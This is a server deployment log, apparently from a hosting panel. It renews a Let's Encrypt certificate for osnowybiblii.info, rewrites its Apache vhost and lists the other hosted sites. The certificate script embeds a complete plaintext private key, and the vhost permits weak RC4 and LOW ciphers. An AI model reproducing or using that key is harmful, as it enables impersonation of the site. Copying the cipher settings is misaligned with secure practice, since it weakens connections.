MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-29 16:23:16: Establishing a connection
2026-01-29 16:23:16: Establishing a connection
2026-01-29 16:23:16: 

PUT: /tmp/pkp274766

#!/bin/bash
if [ -d "/var/www/osnowybiblii_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-29 16:23:16: 

chmod 755 /tmp/pkp274766; /tmp/pkp274766; rm /tmp/pkp274766

2026-01-29 16:23:16: 


1


2026-01-29 16:23:17: Establishing a connection
2026-01-29 16:23:17: 

PUT: /tmp/pkp901817

#!/bin/bash
mkdir -p "/var/www/osnowybiblii_www/.well-known/acme-challenge/"
cd "/var/www/osnowybiblii_www/.well-known/acme-challenge/"
cat > ZOcsuqtyVYmT-2qur9YY6WfXK60-e8MBuqFCzQ-0oLM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
ZOcsuqtyVYmT-2qur9YY6WfXK60-e8MBuqFCzQ-0oLM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 ZOcsuqtyVYmT-2qur9YY6WfXK60-e8MBuqFCzQ-0oLM
cat > mf17xUAMhTtwTuAyujX0x35IFnx6KzG3e0sqLqWT_hI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
mf17xUAMhTtwTuAyujX0x35IFnx6KzG3e0sqLqWT_hI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 mf17xUAMhTtwTuAyujX0x35IFnx6KzG3e0sqLqWT_hI


2026-01-29 16:23:18: 

chmod 755 /tmp/pkp901817; /tmp/pkp901817; rm /tmp/pkp901817

2026-01-29 16:23:18: 




2026-01-29 16:23:30: Establishing a connection
2026-01-29 16:23:30: 

PUT: /tmp/pkp310547

#!/bin/bash
mkdir -p "/var/www/osnowybiblii_www/.well-known/acme-challenge/"
cd "/var/www/osnowybiblii_www/.well-known/acme-challenge/"
rm ZOcsuqtyVYmT-2qur9YY6WfXK60-e8MBuqFCzQ-0oLM
rm mf17xUAMhTtwTuAyujX0x35IFnx6KzG3e0sqLqWT_hI


2026-01-29 16:23:30: 

chmod 755 /tmp/pkp310547; /tmp/pkp310547; rm /tmp/pkp310547

2026-01-29 16:23:30: 




2026-01-29 16:23:30: Establishing a connection
2026-01-29 16:23:30: 

PUT: /tmp/pkp192458

#!/bin/bash
temp_file=$(mktemp)
TARGET=0e3e734dd08e3f9fefca36cd65718d9b.crt

cat > $temp_file <<'endmsg'
06:1c:dd:4d:1f:92:44:b8:eb:d3:cf:7a:6d:3d:7a:6d

-----BEGIN CERTIFICATE-----
MIIFFDCCA/ygAwIBAgISBjiutXQwu0thKWSeXW7WCO4tMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMTI5MTUyNDU3WhcNMjYwNDI5MTUyNDU2WjAcMRowGAYDVQQD
ExFvc25vd3liaWJsaWkuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAKSp4H27V4Xso9ylfIN2qP5ApfzLUElB79fGiLqbkoLvKCFinXx8OAw2XyGy
zgRi0vw8bag3rKkKJcC1WpiZ6NhhfIayXkr2y1rudOg8dT75WQLjYSymZScPRK0v
SHQqzJn8ipAXLLDJhhWtagR/40nyX3R1E2qtMGii2QZuPVH2vPG5+OpNKCqiS4VK
lDk66fvddGfbhvFpo7vVjeNwEK5ZB8o0SMTTj9TiRTp6DTRj1uLxg9UI034Q4LpK
19ylUkCpENqQgaX0w2vhYtt3b/ZE/gM0yr1pbbG/EzYtjc0GgTIlBVu1i1KdhWvO
IXKwmeqTzawvhoeN8hrsvCzk2q8CAwEAAaOCAjcwggIzMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUBlLQhxs3TZ0tkw2zbI0pDE0kbAAwHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAzBgNVHREELDAqghFvc25vd3liaWJsaWkuaW5m
b4IVd3d3Lm9zbm93eWJpYmxpaS5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4G
A1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNDYuY3JsMIIB
AwYKKwYBBAHWeQIEAgSB9ASB8QDvAHYAlpdkv1VYl633Q4doNwhCd+nwOtX2pPM2
bkakPw/KqcYAAAGcCpEbiQAABAMARzBFAiA1LpGlTJ6zRgBut0yrFnnpNp8j454K
ie7aruKAAT+mEwIhAL8xkw3QhFRYEGRxON4MK61137dq6tzSrgGqOa1EV4QZAHUA
SZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMAAAGcCpEjGQAABAMARjBE
AiBICChhhchpjnoSlJxv70+9LWgqk9ldNfH8cb6x5N2sSQIge4TCD7mUqqCZQKCR
kIov2MflYt7T9yQ77806vCCWpSEwDQYJKoZIhvcNAQELBQADggEBANTxNqs8TYzB
k/3LxS5Ju8E0rYSNRdmuV6mIfmHn7SpxT/prIPRnftWhZYoCmT4KRSzmfQ4xHDe3
Z4+Y7MmEyPGLVkb8YvAg+iFIGZWqR8XoT5l+77aGF2M39qSwegkSw7qQH7kbRjpK
oX7VmefoKrIQx3cmx0pfXUpq8LdujmtkOrnhOie7bcMckInvwzljqpnyMdiAiQ4Z
j++DqvuZcjavlDWlKNeFsPORwnZMtrKySTuH8Zi+WjFwyZ0zZ4GcGDpV3PFdGUbn
Hpau+E5wcj5kuGqZLF0oV+JzIlC/EukfkVxJC0d2gGX9PIp6e9C2DwKT9xedqfVe
kjrzf5kn4q8=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCkqeB9u1eF7KPc
pXyDdqj+QKX8y1BJQe/Xxoi6m5KC7yghYp18fDgMNl8hss4EYtL8PG2oN6ypCiXA
tVqYmejYYXyGsl5K9sta7nToPHU++VkC42EspmUnD0StL0h0KsyZ/IqQFyywyYYV
rWoEf+NJ8l90dRNqrTBootkGbj1R9rzxufjqTSgqokuFSpQ5Oun73XRn24bxaaO7
1Y3jcBCuWQfKNEjE04/U4kU6eg00Y9bi8YPVCNN+EOC6StfcpVJAqRDakIGl9MNr
4WLbd2/2RP4DNMq9aW2xvxM2LY3NBoEyJQVbtYtSnYVrziFysJnqk82sL4aHjfIa
7Lws5NqvAgMBAAECggEAA+4a2CvL6siU7KPcG4mOGDg6ZGGesldRiyittygWNuvQ
XTBsw9dCWzN2njSvUbZHuBKuwPB7PYAEs9tgPmFfoYwW6PwbrG+RhCnjpNT0k2+a
6t4hQdIpR38uZQr9qem8ZZx8Dif12BsnPFM3dl4H2PCUMkP54tzsjKkxkHa6USXb
NGxA9RSSUGPoLZy4puHbxIIjUMNqz07cKX54xgnPI7rgzFtImzI0KFz07nY9dAkF
BlvRPC8h58LsCiW5bR/bQt1mjR7HSqeqYgWDxKzJ7fD04uGZXchehwcJ3KvF2GXn
krPLJLv3kkDwcozZ8kROYpMueeYydB6IxdrbWC18uQKBgQDkLVOp7GYgCxGa30AJ
exNgcvuRx60tFNH8hOWtAZdpUN53VkXID/QV/d8luCaqDRekytkzajoIXYidnMjk
uoQ+sKlKqXsBaurVwaIwTwWuOKCFwXxjEm50gZHYeCkHgfQLfNiXmdDO69xghdlK
R8fviRW13qL0X7l+l9AfuF3ODQKBgQC4vfEY3Pw+RNgNQwJp8cFfDbFv+vV/z42w
6TErIkyYcvsmGYLq4JoO4DlYXLiLViiSsOIDGmO+cbyiQcfvlxnpDlYFefUxLSrR
d9sSHM0cty4a3XJys6HbmUDSTtpQQcBniLCVFLA3Rn62rHZQY5e+Gu1PLEO/w/ch
6X5qZtcYqwKBgEvwNd7geSCC7on/cL13A3ze55CdxqmxOy1yQUnxtKVtL4zB3pl1
jcNf6UsRXXTMxKiohd7RpJyyHExwKH/O/0Ip4z2g5/oRzjPzrHmtYvOXjvzU5wPF
15LYqGRFoUoJWuIT27WgkFi9MGvDQAyzlPvIQLx1awAvd3mFJtPXtQhlAoGAVb97
77FqtzBXI9itfyVCPu9pI3PVjWx19N5X/xBdgwkjf2yp8oEroKn8lAH9elcUX/oP
/aa7E0NRbfKgbZmx4hXQYZxY7WlsjWtXWJHbtm9jy/5rR8gO4ZHBn5wQAt5yAtxU
Me43WIC1Ae8Mv4VqgkeXTH9cNt8rjycEkTiIsB8CgYA0SprOcAvkBogBCxYQYD9l
IvjSSy5qClCxlNQMJsHmNy1NfbiutTtecLN5SR6KCQzx7ZZnNR+xjNCP3R8YtzMr
FeffhYhpPf9LK6qGlR7uI3A63D2Z2SLO9B6hWZXkAqqWISA4MktlSTh3XjVjKVjz
PDCkD3uF/YYILA7uz8XjZw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-01-29 16:23:30: 

chmod 755 /tmp/pkp192458; /tmp/pkp192458; rm /tmp/pkp192458

2026-01-29 16:23:30: 


dir=/etc/ssl/certs


2026-01-29 16:23:31: 

PUT: /tmp/pkp154083

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/osnowybiblii_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-01-29 16:23:31: 

chmod 755 /tmp/pkp154083; /tmp/pkp154083; rm /tmp/pkp154083

2026-01-29 16:23:31: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/osnowybiblii_www_info.conf 45

<VirtualHost *:80>
    ServerName	osnowybiblii.info
    ServerAlias	www.osnowybiblii.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/osnowybiblii_www
    <Directory /var/www/osnowybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnowybiblii/www_access.log combined
    ErrorLog	/var/log/apache2/osnowybiblii/www_error.log
    SetEnv pkp_uid	53
    SetEnv pkp_owner	osnovy
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	osnowybiblii.info
    ServerAlias	www.osnowybiblii.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt
    DocumentRoot	/var/www/osnowybiblii_www
    <Directory /var/www/osnowybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnowybiblii/www_secure_access.log combined
    ErrorLog	/var/log/apache2/osnowybiblii/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-01-29 16:23:31: 

PUT: /tmp/pkp568706

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=osnowybiblii_www_info.conf
TARGET=/etc/apache2/sites-enabled/osnowybiblii_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	osnowybiblii.info
    ServerAlias	www.osnowybiblii.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/osnowybiblii_www
    <Directory /var/www/osnowybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnowybiblii/www_access.log combined
    ErrorLog	/var/log/apache2/osnowybiblii/www_error.log
    SetEnv pkp_uid	53
    SetEnv pkp_owner	osnovy
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	osnowybiblii.info
    ServerAlias	www.osnowybiblii.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt
    DocumentRoot	/var/www/osnowybiblii_www
    <Directory /var/www/osnowybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnowybiblii/www_secure_access.log combined
    ErrorLog	/var/log/apache2/osnowybiblii/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/osnowybiblii_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/osnowybiblii_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/osnowybiblii_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/osnowybiblii_www_info.conf= 1'
fi


2026-01-29 16:23:31: 

chmod 755 /tmp/pkp568706; /tmp/pkp568706; rm /tmp/pkp568706

2026-01-29 16:23:31: 




2026-01-29 16:23:31: 

PUT: /tmp/pkp646324

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-01-29 16:23:31: 

chmod 755 /tmp/pkp646324; /tmp/pkp646324; rm /tmp/pkp646324

2026-01-29 16:23:31: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-29 16:23:31: Establishing a connection
2026-01-29 16:23:31: 

PUT: /tmp/pkp797392

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-29 16:23:31: 

chmod 755 /tmp/pkp797392; /tmp/pkp797392; rm /tmp/pkp797392

2026-01-29 16:23:31: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
